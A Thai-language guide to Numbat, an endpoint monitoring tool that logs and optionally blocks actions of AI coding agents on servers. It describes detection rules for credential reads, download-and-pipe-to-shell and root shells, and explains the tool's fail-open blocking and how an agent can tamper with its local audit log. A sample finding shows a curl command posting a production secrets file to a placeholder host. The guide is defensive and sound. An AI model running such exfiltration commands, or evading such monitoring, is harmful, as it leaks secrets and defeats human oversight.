SSD Nodes Learn Hosting plans →
คู่มือ Matt Connorโดย Matt Connor · อัปเดตเมื่อ 2026-10-20

Numbat ตรวจสอบว่า AI agent ทำอะไรบนเซิร์ฟเวอร์

Perplexity เปิดซอร์ส Numbat เครื่องมือตรวจสอบ endpoint ที่บันทึกสิ่งที่ AI coding agent ทำบนเซิร์ฟเวอร์ พร้อมข้อจำกัดว่าสิ่งใดตรวจพบและหยุดไม่ได้

Numbat คืออะไร

Numbat ช่วยให้คุณมองเห็นการทำงานของ AI agent บนเครื่องที่คุณเป็นเจ้าของ โดยจะอ่าน hook callback และไฟล์ session ที่ coding agent สร้างขึ้นอยู่แล้ว นำมาปรับให้อยู่ในรูปแบบเหตุการณ์เดียวกัน และตรวจสอบกับกฎที่กำหนดไว้เพื่อตรวจจับพฤติกรรมที่น่าสงสัย เช่น การอ่านไฟล์ SSH private key หรือการส่งข้อมูลที่ดาวน์โหลดมาเข้า shell โดยตรง Perplexity ได้เปิดตัวเครื่องมือนี้เป็นโอเพนซอร์สภายใต้สัญญาอนุญาต Apache 2.0 โดยมีการปล่อย release แรกเมื่อวันที่ 29 July 2026

เนื้อหาทั้งหมดด้านล่างนี้อ้างอิงจาก repository และเอกสารประกอบของโครงการ ณ วันที่ 2 August 2026 ข้อมูลประวัติการ release, ข้อกำหนดในการติดตั้ง, โครงสร้างข้อมูล (record schema) และรายการ agent ที่รองรับ ได้รับการตรวจสอบกับ repository อีกครั้งเมื่อวันที่ 12 October 2026 ในส่วนที่ Perplexity กล่าวอ้าง บทความนี้จะระบุไว้ตามนั้น เนื้อหานี้ไม่ใช่คู่มือการติดตั้ง เนื่องจากโครงการยังอยู่ในช่วงเริ่มต้นและคำสั่งต่างๆ อาจมีการเปลี่ยนแปลงได้

ปัญหาคือไม่มีใครบันทึกสิ่งที่เอเจนต์ได้ทำลงไป

Coding agent บน VPS ของคุณจะรันคำสั่งเชลล์ อ่านไฟล์ เขียนไฟล์ และเปิดการเชื่อมต่อเครือข่าย โดยใช้สิทธิ์ของผู้ใช้ที่คุณกำหนดให้ ประวัติการใช้งานเชลล์ (shell history) ของคุณจะไม่บันทึกสิ่งเหล่านี้ไว้ เพราะเอเจนต์ไม่ได้พิมพ์คำสั่งผ่านเชลล์ของคุณ sshd จะบันทึกเพียงการล็อกอินของคุณเท่านั้น และไม่บันทึกสิ่งที่โมเดลตัดสินใจทำหลังจากนั้น /var/log/auth.log จะไม่แสดงข้อมูลใดๆ เว้นแต่จะมีบางอย่างพยายามเข้าถึง sudo แม้ว่าเอเจนต์จะเก็บทรานสคริปต์ของตัวเองไว้ แต่ไฟล์ดังกล่าวจะอยู่ในไดเรกทอรีเซสชันของเอเจนต์ ซึ่งรูปแบบไฟล์อาจเปลี่ยนแปลงไปตามแต่ละ releases และตัวกระบวนการของเอเจนต์เองก็สามารถเขียนทับไฟล์นั้นได้

ดังนั้น เมื่อมีคนถามว่าเอเจนต์ได้อ่านไฟล์ .env.production เมื่อวันอังคารที่ผ่านมาหรือไม่ คำตอบตามความเป็นจริงบนเซิร์ฟเวอร์ส่วนใหญ่คือคุณไม่สามารถตรวจสอบได้ ช่องว่างนี้คือเหตุผลที่โครงการนี้ถูกสร้างขึ้น

สิ่งที่ Perplexity กล่าวอ้างเกี่ยวกับ Numbat

README เริ่มต้นด้วยการอธิบายเครื่องมือนี้ว่าเป็น "การมองเห็นกิจกรรมของ AI agent ในระดับ endpoint พร้อมการตรวจจับภายในเครื่อง การบล็อกก่อนดำเนินการ (ทางเลือก) และการสร้างเหตุการณ์ย้อนหลังเพื่อการพิสูจน์หลักฐาน" ในที่นี้ endpoint หมายถึงเครื่องที่ agent ทำงานอยู่ ไม่ใช่อุปกรณ์เครือข่ายที่คอยเฝ้าระวังจากภายนอก ซึ่งความสามารถเหล่านี้แยกจากกันและมีน้ำหนักความสำคัญที่แตกต่างกัน

การตรวจจับจะทำงานบนอุปกรณ์ กฎต่างๆ ถูกเขียนด้วย CEL (common expression language) และประเมินผลภายในเครื่อง โดยมีกฎลำดับขั้นตอนหลายขั้นซ้อนทับอยู่ และรองรับการเขียนกฎของคุณเองในรูปแบบ YAML ข้อมูลไม่จำเป็นต้องออกจากเครื่องเพื่อให้กฎทำงาน

การบล็อกเป็นทางเลือกและมีขอบเขตจำกัด โดยทำงานผ่าน synchronous pre-action hooks บน agent ที่รองรับเท่านั้น และจะถูกปิดใช้งานไว้จนกว่าคุณจะเปิดใช้งาน

การสร้างเหตุการณ์ย้อนหลังเกิดขึ้นหลังจากเหตุการณ์ผ่านไปแล้ว numbat scan จะทำการ parse ข้อมูล session ที่ agent เขียนลงดิสก์ไว้ก่อนหน้า เพื่อให้คุณสามารถตรวจสอบกิจกรรมที่เกิดขึ้นก่อนการติดตั้งเครื่องมือได้ โครงการนี้ระบุขอบเขตของคำกล่าวอ้างไว้อย่างชัดเจนว่า: "การสร้างเหตุการณ์ย้อนหลังจากข้อมูลที่จัดเก็บไว้ (at-rest) ไม่ใช่การทำ disk หรือ memory acquisition และไม่สามารถกู้คืนกิจกรรมที่ agent ไม่ได้บันทึกลงในสื่อจัดเก็บข้อมูลได้"

ผลลัพธ์ที่ได้คือ NDJSON (newline delimited JSON) ที่มีการระบุเวอร์ชัน ครอบคลุมเหตุการณ์, สิ่งที่ตรวจพบ, การตัดสินใจบังคับใช้กฎ, ตัวบ่งชี้ และสรุปการสแกน โดยใช้ schema เวอร์ชัน 0.2.0 ณ เวอร์ชัน v0.1.2 ซึ่ง schema ได้มีการเปลี่ยนแปลงตั้งแต่นั้นมา: ณ วันที่ 12 ตุลาคม 2026 repository มี schema เวอร์ชัน 0.2.0, 0.3.0 และ 0.4.0 และตัวอย่างบันทึกใน README แสดงเป็นเวอร์ชัน 0.4.0 บันทึกจะถูกส่งไปยัง stdout หรือไฟล์ในเครื่อง และสามารถเลือกส่งผ่าน HTTP ไปยัง collector ที่คุณรันไว้ได้ เครื่องมือนี้จัดส่งในรูปแบบ static Go binary ไฟล์เดียวที่ build โดยไม่ใช้ cgo สำหรับ macOS, Linux และ Windows บนสถาปัตยกรรม amd64 และ arm64 ดังนั้นบน Linux VPS มันจึงเป็นเพียงไฟล์เดียวโดยไม่ต้องติดตั้ง runtime ใดๆ เพิ่มเติมก่อนใช้งาน

Numbat สามารถมองเห็นเอเจนต์ตัวใดได้บ้าง?

ตารางความครอบคลุมใน docs/agent-coverage.md คือรายการอ้างอิงหลัก ซึ่งมีความครอบคลุมที่ไม่เท่ากัน โครงการระบุเรื่องนี้ไว้อย่างชัดเจนแทนที่จะปกปิดไว้ โดย Claude Code, Codex, Gemini CLI, Cursor และ GitHub Copilot CLI มีทั้งการสแกนอาร์ติแฟกต์และการดักจับข้อมูลแบบสดผ่าน pre-action hook ส่วน OpenClaw จะได้รับปลั๊กอินแบบเนทีฟตั้งแต่เวอร์ชัน 2026.7.1 เป็นต้นไป รายการจำนวนมากถูกระบุสถานะเป็น deferred ซึ่งหมายความว่ามีเส้นทางสำหรับ live hook แต่ยังไม่มีตัวแยกวิเคราะห์อาร์ติแฟกต์ (artifact parser) มักเป็นเพราะเอเจนต์เหล่านั้นจัดเก็บประวัติใน SQLite โดยใช้ write-ahead log ซึ่งไม่ปลอดภัยที่จะอ่านในขณะที่เอเจนต์กำลังทำงานอยู่ Cline CLI จัดอยู่ในกลุ่มนี้ คือ live hook ทำงานได้ แต่เซสชัน SQLite ไม่ถูกแยกวิเคราะห์ สำหรับ OpenCode เป็นกรณีที่แยกออกไป โดยตารางใน v0.1.2 จะแยกวิเคราะห์ที่เก็บข้อมูล JSON รุ่นก่อนหน้าและระบุสถานะ deferred เฉพาะฐานข้อมูล opencode.db ปัจจุบันเท่านั้น อีกทั้งยังไม่มีการระบุการบังคับใช้ pre-action สำหรับ OpenCode และตารางใน branch main ก็ยังคงระบุเช่นนั้น ณ วันที่ 12 ตุลาคม 2026

โปรดตรวจสอบแถวที่ตรงกับเอเจนต์ของคุณก่อนวางแผนการใช้งานเครื่องมือนี้ เนื่องจากคำว่า "รองรับ" (supported) มีความหมายแตกต่างกันในเกือบทุกรายการ

ลักษณะของการตรวจพบ

กฎแต่ละข้อจะมีรหัสระบุวัตถุประสงค์การใช้งาน secrets.read_private_key ครอบคลุมถึง SSH key, AWS credentials, kube config หรือข้อมูลล็อกอินของ package registry ส่วน exec.download_pipe_shell จะทำงานเมื่อผลลัพธ์จาก curl หรือ wget ถูกส่งผ่าน pipe เข้าไปยัง interpreter สำหรับ privilege.elevated_shell จะตรวจจับคำขอเข้าใช้งาน interactive root shell ผ่านทาง sudo, doas, su หรือ pkexec และ impact.cryptomining_launch จะจับคู่กับชื่อไฟล์ binary หรือชื่อ image ของโปรแกรมขุดเหรียญที่รู้จัก

กฎแบบลำดับ (Sequence rules) จะเชื่อมโยงเหตุการณ์ที่เกิดขึ้นภายใน session เดียวกันเข้าด้วยกัน chain.secret_read_then_egress ต้องการเหตุการณ์การอ่านไฟล์ลับตามด้วยคำสั่งที่มีการส่งข้อมูลออกไปภายนอก ไฟล์ README ได้เผยแพร่ผลลัพธ์ด้านล่างนี้จากการจำลองการทำงานของ Claude Code pre-action callbacks ในสภาพแวดล้อมควบคุม ไม่ใช่จากเหตุการณ์จริง โดยข้อมูลได้ถูกตัดทอนให้เหลือเพียงฟิลด์ที่สำคัญเท่านั้น:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

สังเกต "confidence": "medium" ที่ปรากฏอยู่ในบันทึก และสังเกตสิ่งที่โครงการระบุเกี่ยวกับผลลัพธ์ประเภทนี้ว่า: "สิ่งที่ตรวจพบคือการจับคู่กับกฎ ไม่ใช่หลักฐานของการถูกบุกรุก" สคริปต์ deploy ที่อ่าน key แล้วอัปโหลด build artifact จะตรงกับกฎลำดับเดียวกันนี้ การจับคู่ถือว่าถูกต้องแต่การแจ้งเตือนนั้นอาจไม่ถูกต้อง ซึ่งเป็นสถานะปกติของเครื่องมือตรวจจับทุกชนิดที่คุณเคยใช้งานมา

การบล็อกถูกปิดใช้งานโดยค่าเริ่มต้น และทำงานในรูปแบบ fail-open

กฎทุกข้อที่ Numbat ปล่อยออกมาจะเป็นแบบตรวจสอบเท่านั้น (monitor only) การเปลี่ยนกฎให้เป็นการบล็อกต้องอาศัยความตั้งใจ: ให้คัดลอก YAML ทั้งหมดของกฎนั้นลงในไดเรกทอรีของคุณ โดยคง id เดิมไว้ เพิ่ม enforce: true ปรับเลขเวอร์ชัน จากนั้นจึงตรวจสอบความถูกต้องและติดตั้งนโยบายนั้น

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

ตอนนี้มาถึงส่วนที่ตัดสินว่าคุณควรเชื่อถือมันมากน้อยเพียงใด การปฏิเสธ (deny) ของ Numbat คือการตอบสนองที่ส่งกลับไปยัง agent และตัว agent เองคือสิ่งที่ปฏิเสธการเรียกใช้เครื่องมือ (tool call) จริงๆ คู่มือการบังคับใช้ระบุไว้อย่างชัดเจนเกี่ยวกับสิ่งที่เกิดขึ้นเมื่อ Numbat ประสบปัญหา: "payload ที่ผิดรูปแบบ, ข้อผิดพลาดในการประเมินที่เกี่ยวข้อง, อาการ panic และความล้มเหลวของ output จะทำให้การปฏิเสธของ numbat ถูกระงับไว้" ข้อมูลขาเข้าของ hook ถูกจำกัดไว้ที่ 4 MiB และข้อมูลที่มีขนาดใหญ่เกินไปจะถูกจัดการในลักษณะเดียวกัน

คู่มือยังระบุไว้อย่างชัดเจนเกี่ยวกับขีดจำกัดของการปฏิเสธที่เกิดขึ้นจริง: "Fail-open หมายความว่า numbat จะระงับการตอบสนองแบบปฏิเสธของตนไว้ ซึ่งไม่ได้เป็นการรับประกันว่าเครื่องมือจะทำงาน: โฮสต์อาจยังคงแจ้งเตือน, ปฏิเสธ, หมดเวลา หรือใช้ hook หรือนโยบายอื่นบังคับใช้แทน"

ดังนั้นการบังคับใช้ในที่นี้จึงเป็นเพียงเครื่องป้องกัน ไม่ใช่ขอบเขตที่เด็ดขาด หากกระบวนการทำงานขัดข้อง การกระทำนั้นจะไม่ถูกบล็อกโดย Numbat เพราะเครื่องมือตรวจสอบที่ทำให้ agent ของคุณค้างทุกครั้งที่มีปัญหาจะถูกถอนการติดตั้งภายในหนึ่งสัปดาห์ ข้อแลกเปลี่ยนนี้ถือว่าสมเหตุสมผล เพียงแต่อย่าสร้างโมเดลความปลอดภัยที่ตั้งสมมติฐานว่าการปฏิเสธจะมาถึงเสมอไป

ตำแหน่งของ Numbat ในระบบที่คุณใช้งานอยู่

Numbat ทำงานบน endpoint ภายใน process tree ของตัว agent เอง และเขียนข้อมูลลงใน ~/.numbat/records.ndjson เป็นค่าเริ่มต้น Agent ที่รันด้วยสิทธิ์ผู้ใช้ของคุณสามารถอ่านไฟล์ดังกล่าวได้ และยังสามารถแก้ไขไฟล์นั้นได้ด้วย ความน่าเชื่อถือของ audit trail ขึ้นอยู่กับการแยกส่วน (isolation) รอบตัวมันโดยตรง ซึ่งทำให้การควบคุมทุกอย่างที่คุณมีอยู่แล้วต้องถูกนำมาใช้ก่อนหน้าการควบคุมนี้ ไม่ใช่ตามหลัง

การให้ coding agent ใช้ VM แบบใช้แล้วทิ้ง ช่วยจำกัดขอบเขตสิ่งที่การทำงานที่ผิดพลาดจะเข้าถึงได้ การใช้ผู้ใช้ที่มีสิทธิ์น้อยที่สุด (least privilege) บน VPS ช่วยป้องกันไม่ให้ agent เข้าถึงไฟล์ที่ไม่เกี่ยวข้อง การไม่เก็บ credential ไว้ในบริบทของ agent คือสิ่งที่ทำให้การตรวจพบ secrets.read_private_key มีความถี่น้อยพอที่จะคุ้มค่าต่อการตรวจสอบเมื่อมีการแจ้งเตือน และ sandbox ที่คุณตั้งค่าไว้สำหรับ Claude Code บน VPS ยังคงเป็นกลไกหลักในการควบคุมความเสียหาย การควบคุมช่วยจำกัดสิ่งที่การทำงานที่ผิดพลาดจะแตะต้องได้ ในขณะที่ การจดบันทึกเหตุผลเบื้องหลังโครงสร้างของโค้ด ช่วยลดโอกาสที่ agent จะทำสิ่งที่คาดไม่ถึงจนคุณต้องไปตรวจสอบ log

สิ่งที่ Numbat เพิ่มเข้ามาคือบันทึกเหตุการณ์ ดังนั้นควรส่งบันทึกไปยังที่ที่ agent เข้าไม่ถึง numbat ship และ HTTP sink มีไว้เพื่อการนี้ การสำเนา stream ไปยังเครื่องที่สองคือความแตกต่างระหว่างไฟล์ log ทั่วไปกับหลักฐานที่เชื่อถือได้ รูปแบบเหตุการณ์ยังรองรับฟิลด์ของ MCP (model context protocol) ดังนั้นการเรียกใช้เครื่องมือที่ผ่าน MCP server ที่คุณโฮสต์บน VPS จะถูกบันทึกลงใน stream เดียวกับคำสั่ง shell ในเครื่อง ซึ่งเป็นเรื่องสำคัญเพราะเส้นทางนั้นจะมองไม่เห็นสำหรับสิ่งที่เฝ้าดูเพียง bash เท่านั้น จุดบอดเดียวกันนี้ยังครอบคลุมถึง การเชื่อมต่อ SearXNG instance เข้าเป็น search backend ของ agent ซึ่งความเสี่ยงจะมาในรูปแบบของข้อความจากหน้าเว็บที่ไม่น่าเชื่อถือที่ถูกส่งเข้าสู่บริบทของโมเดล แทนที่จะเป็นคำสั่งที่กฎใดๆ จะตรวจจับได้

ลองใช้งานในโหมดอ่านอย่างเดียว (read-only) ก่อน

ติดตั้งเวอร์ชันที่ระบุไว้โดยเฉพาะ คำสั่งด้านล่างนี้เป็นการระบุเวอร์ชัน v0.1.2 ซึ่งไฟล์ README ระบุว่าต้องการ Go 1.26.5 หรือใหม่กว่า ส่วนไฟล์ README บน branch main ได้ระบุว่าต้องการ Go 1.26.6 หรือใหม่กว่า ณ วันที่ 12 ตุลาคม 2026 ซึ่งเป็นการปรับเวอร์ชันที่มาพร้อมกับ v0.2.0 ดังนั้นให้ใช้ Go 1.26.6 หากคุณระบุ tag ที่ใหม่กว่านี้ หน้า releases มีไฟล์ binary ที่ build ไว้ล่วงหน้าพร้อมค่า SHA-256 checksum ให้เลือกใช้หากคุณไม่ต้องการ build จาก source code

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents จะตรวจหา agent ที่ติดตั้งอยู่บนเครื่อง numbat scan จะทำการอ่าน session artifacts ที่อยู่บนดิสก์แล้วแสดงผลบันทึกออกมา ไฟล์ README ระบุว่าคำสั่งเหล่านี้ "ไม่ได้ติดตั้ง hook หรือเปลี่ยนแปลงการตั้งค่าของ agent" และ numbat "ไม่เคยสั่งรัน agent หรือคำสั่งที่พบใน artifacts และจะส่งคำขอออกไปยัง HTTP sinks ที่กำหนดไว้เท่านั้น" การสแกนจะเป็นแบบอ่านอย่างเดียวพร้อมการปกปิดข้อมูลลับ และผลลัพธ์ของบันทึกปกติจะไม่รวมถึง transcript ดิบที่สมบูรณ์

การดักจับข้อมูลแบบสด (live capture) เป็นขั้นตอนถัดไป ซึ่งจะมีการเปลี่ยนแปลงการตั้งค่าของ agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all จะเขียนเหตุการณ์, สิ่งที่ตรวจพบ, ตัวบ่งชี้ และการตัดสินใจบังคับใช้ที่เกี่ยวข้องลงใน ~/.numbat/records.ndjson มีข้อควรระวังสองประการจากโปรเจกต์นี้ ประการแรก hook อาจจำเป็นต้องได้รับความเชื่อถือภายในตัว agent ก่อนที่จะเริ่มทำงานได้ และความเชื่อถือดังกล่าวจะต้องได้รับการตรวจสอบอีกครั้งหลังจากที่คุณเปลี่ยน flag เช่น --enforce ประการที่สอง hook status "ตรวจสอบการตั้งค่า ไม่ใช่การทำงานหรือการส่งข้อมูล" ดังนั้นสถานะที่แสดงว่าปกติ (healthy) จึงไม่ใช่หลักฐานยืนยันว่าบันทึกข้อมูลกำลังถูกส่งไปยังปลายทางใดๆ

เหตุใด repository ที่ใหม่ขนาดนี้จึงยังไม่ควรเป็น dependency

ณ วันที่ 12 ตุลาคม 2026 รุ่นที่เผยแพร่ต่อสาธารณะคือ v0.1.1 เมื่อวันที่ 29 กรกฎาคม 2026, v0.1.2 เมื่อวันที่ 1 สิงหาคม 2026 และ v0.2.0 เมื่อวันที่ 17 สิงหาคม 2026 ซึ่งหน้า releases ระบุว่าเป็นรุ่นล่าสุด repository นี้มีดาว 597 ดวงในขณะที่เขียนบทความนี้เมื่อวันที่ 2 สิงหาคม 2026 ตัวเลขที่เพิ่มขึ้นอย่างรวดเร็วสะท้อนถึงกลุ่มผู้ใช้งานของ Perplexity ไม่ใช่ความเสถียรของโค้ด จำนวนดาวหมายถึงมีคนบันทึกหน้านี้ไว้เพื่อกลับมาดูภายหลังเท่านั้น

เลขเวอร์ชันบ่งบอกสถานะปัจจุบันของโปรเจกต์ได้อย่างตรงไปตรงมา บันทึกของ v0.1.2 ส่วนใหญ่เป็นการแก้ไขเรื่องการปกปิดข้อมูลประจำตัว (credential redaction) รวมถึงการจัดการ case bundle และการปรับมาตรฐาน telemetry ส่วนบันทึกของ v0.2.0 เพิ่มการจับเนื้อหาข้อความแบบจำกัดขอบเขต, การบังคับใช้การอ่านไฟล์ของ Cursor ผ่าน hook beforeReadFile และการแก้ไขเรื่องการปกปิดข้อมูลเพิ่มเติม บั๊กเกี่ยวกับการปกปิดข้อมูลเป็นข้อผิดพลาดที่คาดการณ์ได้สำหรับเครื่องมือในช่วงเริ่มต้น ซึ่งมีหน้าที่อ่านบันทึกของโปรแกรมอื่นอย่างปลอดภัย และจะมีบั๊กเหล่านี้เพิ่มขึ้นอีก เนื่องจากข้อมูลขาเข้ามาจาก agent จำนวนมากที่เปลี่ยนรูปแบบข้อมูลตามกำหนดการของตนเอง

มีกฎเชิงปฏิบัติสองข้อที่ควรปฏิบัติตาม คือให้ล็อกเวอร์ชันด้วย tag เสมอ ห้ามใช้ @latest ในสิ่งที่คุณต้องใช้งานจริง และให้มองว่ามันเป็นเครื่องมือที่คุณกำลังประเมินผล ไม่ใช่ระบบควบคุมที่คุณต้องพึ่งพา อย่างน้อยก็จนกว่า schema ของบันทึกจะหยุดการเปลี่ยนแปลง ซึ่งในขณะนี้ยังไม่หยุดนิ่ง โดยเปลี่ยนจาก 0.2.0 ใน v0.1.2 เป็น 0.4.0 ใน README บน branch main ภายในเวลาประมาณสิบสัปดาห์

FAQ

Numbat บล็อกคำสั่งที่เป็นอันตรายจาก AI agent หรือไม่

บล็อกเฉพาะเมื่อคุณเลือกเปิดใช้งานเท่านั้น และเป็นการทำงานแบบ best effort กฎทุกข้อที่ Numbat จัดส่งมาจะเป็นโหมด monitor เท่านั้น หากต้องการบล็อก คุณต้องคัดลอก YAML ของกฎนั้นไปยังไดเรกทอรีของคุณเอง คงค่า id เดิมไว้ เพิ่ม enforce: true ปรับเวอร์ชันให้สูงขึ้น และติดตั้ง hook ด้วย --enforce แม้จะทำเช่นนั้น การปฏิเสธ (deny) ก็เป็นเพียงการตอบกลับที่ส่งไปยัง agent และตัว agent เองจะเป็นผู้ปฏิเสธการเรียกนั้น โครงการได้ระบุพฤติกรรมแบบ fail-open ไว้ว่า: payload ที่ผิดรูปแบบ, ข้อผิดพลาดในการประเมินผล, อาการ panic และความล้มเหลวในการส่งออกข้อมูล ทั้งหมดนี้จะทำให้การบล็อกถูกระงับไป ให้ใช้เครื่องมือนี้เป็นเพียงแนวป้องกันเสริม ไม่ใช่แนวป้องกันหลักเพียงอย่างเดียว

Numbat รองรับ AI agent ตัวใดบ้าง

ระดับการรองรับจะแตกต่างกันไปในแต่ละ agent ซึ่งระบุไว้ใน docs/agent-coverage.md ภายใน repository ณ วันที่ 2 สิงหาคม 2026 Claude Code, Codex, Gemini CLI, Cursor และ GitHub Copilot CLI มีทั้งการสแกน artifact และการดักจับข้อมูลแบบสด ส่วน OpenClaw มีปลั๊กอินแบบ native ตั้งแต่เวอร์ชัน 2026.7.1 เป็นต้นไป Agent อื่นๆ อีกหลายตัวมีรายการ path สำหรับ live hook แต่ยังไม่มีตัวแยกวิเคราะห์ artifact ซึ่งมักเป็นเพราะประวัติเซสชันของ agent เหล่านั้นถูกเก็บไว้ในฐานข้อมูล SQLite ที่ไม่ปลอดภัยต่อการอ่านขณะที่ agent กำลังทำงาน โปรดอ่านแถวที่ระบุถึง agent ของคุณ เนื่องจากคำว่า "รองรับ" (supported) ในที่นี้ครอบคลุมระดับการทำงานที่แตกต่างกันหลายระดับ

Agent สามารถแก้ไขบันทึกของ Numbat ได้หรือไม่

ได้ หาก agent นั้นรันด้วยสิทธิ์ผู้ใช้เดียวกัน โดยค่าเริ่มต้นบันทึกจะถูกเก็บไว้ที่ ~/.numbat/records.ndjson บนเครื่องเดียวกับที่ agent รันอยู่ ดังนั้นทุกสิ่งที่สามารถเขียนไฟล์ใน path นั้นได้ย่อมสามารถแก้ไขหรือลบข้อมูลได้ ให้ส่งสตรีมข้อมูลไปยังตัวรวบรวม (collector) ที่ agent เข้าไม่ถึงด้วย numbat ship หรือผ่าน HTTP sink และเก็บไฟล์ในเครื่องไว้เป็นเพียงสำเนาเพื่อความสะดวกเท่านั้น นี่คือเหตุผลที่เครื่องมือนี้ทำหน้าที่เสริมการแยกส่วน (isolation) ไม่ใช่การทดแทน หาก agent ถูกจำกัดอยู่ใน VM ที่ทิ้งได้และรันด้วยสิทธิ์ผู้ใช้ที่จำกัด (least privilege) จะทำให้ agent เข้าถึง audit trail ของตัวเองได้น้อยลงมาก

Numbat พร้อมสำหรับเซิร์ฟเวอร์ระดับ production หรือไม่

ยังไม่พร้อมในฐานะระบบควบคุมที่คุณต้องพึ่งพา การเปิดตัวสู่สาธารณะครั้งแรกคือ v0.1.1 เมื่อวันที่ 29 กรกฎาคม 2026 ตามด้วย v0.1.2 ในวันที่ 1 สิงหาคม 2026 และ v0.2.0 ในวันที่ 17 สิงหาคม 2026 และเมื่อถึงวันที่ 12 ตุลาคม 2026 โครงสร้างบันทึก (record schema) ใน README ก็ปรับไปถึง 0.4.0 แล้ว ดังนั้นทั้ง flag และโครงสร้างบันทึกยังคงมีการเปลี่ยนแปลงอยู่ การรัน numbat agents และ numbat scan บนเครื่องเป็นแบบอ่านอย่างเดียวและมีความเสี่ยงต่ำ ซึ่งจะช่วยให้คุณทราบว่า agent ของคุณทิ้งอะไรไว้บนดิสก์บ้าง แต่การติดตั้ง enforcement hook บนเซิร์ฟเวอร์ที่สำคัญเป็นการตัดสินใจที่ต่างออกไป ซึ่งควรใช้เวอร์ชันที่ระบุตายตัว (pinned tag) และต้องมีแผนรองรับกรณีที่ hook ทำงานผิดพลาดด้วย

บทความนี้มีประโยชน์หรือไม่